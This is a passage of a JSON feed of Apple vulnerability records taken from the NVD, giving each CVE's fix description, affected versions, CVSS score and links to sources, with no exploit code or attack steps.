exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28944","cveId":"CVE-2026-28944","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.","detail":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:55.627Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28944","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28944","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28944","type":"primary","publishedAt":"2026-05-11T21:18:55.627Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28943","cveId":"CVE-2026-28943","aliases":[],"kind":"vulnerability","title":"A logging issue was addressed with improved data redaction.","summary":"A logging issue was addressed with improved data redaction. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to determine kernel memory layout.","detail":"A logging issue was addressed with improved data redaction. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. An app may be able to determine kernel memory layout.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:55.523Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28943","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28943","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28943","type":"primary","publishedAt":"2026-05-11T21:18:55.523Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28942","cveId":"CVE-2026-28942","aliases":[],"kind":"vulnerability","title":"A use-after-free issue was addressed with improved memory management.","summary":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.","detail":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:55.427Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28942","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28942","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28942","type":"primary","publishedAt":"2026-05-11T21:18:55.427Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28941","cveId":"CVE-2026-28941","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved checks.","summary":"The issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Tahoe 26.5. Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents.","detail":"The issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Tahoe 26.5. Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:55.327Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28941","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28941","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28941","type":"primary","publishedAt":"2026-05-11T21:18:55.327Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127111","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28940","cveId":"CVE-2026-28940","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5. Processing a maliciously crafted image may corrupt process memory.","detail":"The issue was addressed with improved memory handling. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5. Processing a maliciously crafted image may corrupt process memory.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:55.223Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28940","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28940","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28940","type":"primary","publishedAt":"2026-05-11T21:18:55.223Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28936","cveId":"CVE-2026-28936","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved checks.","summary":"The issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.8, macOS Sonoma 14.8.7, macOS Sonoma 14.8.8, macOS Tahoe 26.5, visionOS 26.5. Processing a maliciously crafted file may lead to unexpected app termination.","detail":"The issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.8, macOS Sonoma 14.8.7, macOS Sonoma 14.8.8, macOS Tahoe 26.5, visionOS 26.5. Processing a maliciously crafted file may lead to unexpected app termination.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:55.123Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28936","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28936","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28936","type":"primary","publishedAt":"2026-05-11T21:18:55.123Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28929","cveId":"CVE-2026-28929","aliases":[],"kind":"vulnerability","title":"A logic issue was addressed with improved checks.","summary":"A logic issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Replying to an email could display remote images in Mail in Lockdown Mode.","detail":"A logic issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Replying to an email could display remote images in Mail in Lockdown Mode.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:54.927Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28929","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28929","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28929","type":"primary","publishedAt":"2026-05-11T21:18:54.927Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127111","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28925","cveId":"CVE-2026-28925","aliases":[],"kind":"vulnerability","title":"A buffer overflow was addressed with improved bounds checking.","summary":"A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to cause unexpected system termination or write kernel memory.","detail":"A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to cause unexpected system termination or write kernel memory.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:54.823Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28925","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28925","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28925","type":"primary","publishedAt":"2026-05-11T21:18:54.823Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28924","cveId":"CVE-2026-28924","aliases":[],"kind":"vulnerability","title":"A race condition was addressed with improved handling of symbolic links.","summary":"A race condition was addressed with improved handling of symbolic links. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to access Contacts without user consent.","detail":"A race condition was addressed with improved handling of symbolic links. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to access Contacts without user consent.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:54.727Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28924","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28924","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28924","type":"primary","publishedAt":"2026-05-11T21:18:54.727Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28919","cveId":"CVE-2026-28919","aliases":[],"kind":"vulnerability","title":"A consistency issue was addressed with improved state handling.","summary":"A consistency issue was addressed with improved state handling. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.","detail":"A consistency issue was addressed with improved state handling. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:54.317Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28919","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28919","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28919","type":"primary","publishedAt":"2026-05-11T21:18:54.317Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28915","cveId":"CVE-2026-28915","aliases":[],"kind":"vulnerability","title":"A parsing issue in the handling of directory paths was addressed with improved path validation.","summary":"A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.","detail":"A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to gain root privileges.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:54.000Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28915","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28915","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28915","type":"primary","publishedAt":"2026-05-11T21:18:54.000Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127115","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28913","cveId":"CVE-2026-28913","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved memory handling.","summary":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.","detail":"The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:53.803Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"ipados","stacks":["Apple iOS and iPadOS","ipados"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28913","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28913","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28913","type":"primary","publishedAt":"2026-05-11T21:18:53.803Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.apple.com/en-us/127110","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28908","cveId":"CVE-2026-28908","aliases":[],"kind":"vulnerability","title":"A denial of service issue was addressed by removing the vulnerable code.","summary":"A denial of service issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to modify protected parts of the file system.","detail":"A denial of service issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to modify protected parts of the file system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:18:53.607Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apple","product":"macos","stacks":["Apple macOS","macos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28908","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 